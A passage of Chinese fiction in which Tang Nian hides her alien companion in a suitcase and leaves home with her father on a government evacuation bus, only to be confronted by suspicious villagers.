白蚁的蚁巢有很多细小弯曲的通道,只要将通道封上,蚂蚁便进不来。以一只兵蚁和两只工蚁为单位,工蚁负责用材料填补损毁的通道,兵蚁负责时不时上前吓退在通道口虎视眈眈的蚂蚁。破损的通道一点点垒筑起来,然而新填补上的材料必须要干涸以后才会变得坚硬,现在新填上的材料湿漉漉的,蚂蚁用上颚随便一铲就铲掉了。
但白蚁群没有失望的概念,那些负责修缮通道的兵蚁和工蚁并不会因为成果被损毁而立刻选择放弃,它们就像一台机器,只要体内电量仍未耗尽,就会按照信息素写就的代码永恒地工作下去。
唐念看得入迷,直到屋外传来唐生民的提醒,说现在是时候走去村口等车了。
她不可能将这缸昆虫也一并带走,只好放下它们,轻声对它们说再见,然后拉开另一个小一点儿的行李箱,让唐夏钻进去。
“我可以抛下这具身躯,用本体跟着你。”
它表示不太理解这个多此一举钻行李箱的行为。
“嗯,我知道。不过在我爸看来,这样大概相当于我们还没努力就抛弃了你现在寄生的宿主,他良心过意不去的。”她朝它浅浅笑了笑。
唐夏一知半解,但还是听话地钻了进去。
她拉上拉链,推着两个行李箱走出卧室。
唐生民已经全副武装完毕等在客厅了,见她出来,还指手画脚提醒道:“你行李箱拉链别拉那么紧,别把人闷死了。”
打开院子门后,他又紧张兮兮地拉开了自己的行李箱,问:“我们家那张全家福你带了吗?是不是落家里了?”
“带了。”唐念回答。
“哦哦,那就好。”结果人还没跨出院子门,又疑神疑鬼问,“你的志愿填报单和学业证书那些都带了吗?身份证带了吗?”
“都带了。”
“行,那没什么了,走吧。”
他示意她先走,自己则最后回头看了一眼这间屋子。
这间坐落在城中村的再破烂不过的屋子承载了他们家的十七年。
十七年岁月,往前回想,唐生民早已记不起太多细节了,因为每天对他来说都像是相同的一天,毫无激情,毫无变化。他唯一能想起的场景是夏天某个午后,他歪躺在沙发上嗑瓜子,唐念蹲在院子里捉昆虫,林桐站在一旁,微微俯下.身子,柔声告诉她昆虫和节肢动物的区别。
这样的场景是他曾经度过的每一天,可今后它将再也不会出现。
遗失在时光的角落里,就像巷道里开败的茉莉花,被时代的车轮滚滚碾过,践踏成泥土,无人知晓,无人在意。
“……走吧。”他又低声说了一遍。
*
前来接人的是一辆中巴,停靠在村口外的大道上,看起来格外扎眼,不仅如此,车牌号还是政府专用车牌号,仿佛生怕别人不知道他们即将跟随权贵逃亡似的。
唐生民的伤春悲秋在看清这辆车以后就消失了,低骂一声,说我操:“这群王八羔子怎么回事?开这么大辆车过来!”
唐念提醒他不要说话了,先上车才要紧。
“对对!上车上车。”唐生民赶她进车门。
然而怕什么来什么,就在唐念左脚踏上车门的时候,他们身后骤然炸响一道熟悉的嗓音:
“老唐?”
是唐生民那位出逃失败后又回到村子里的牌友。
唐念心一沉,提着行李箱快步上了车,回头想把唐生民拉上来,可已经来不及了,她在转身那一瞬间看清了身后的景象——
那位牌友打着手电筒站在最前面,而他身后则密密麻麻地跟着一堆村民。
黑漆漆的夜里,他们的面孔在手电筒冷蓝的光线下透出尸体般的死白,眼窝深深凹陷下去,如同一具具悬浮的骷髅头。
“这辆车是怎么回事……你要去哪里?”他颤着声音问,“你们要瞒着我们去哪里?”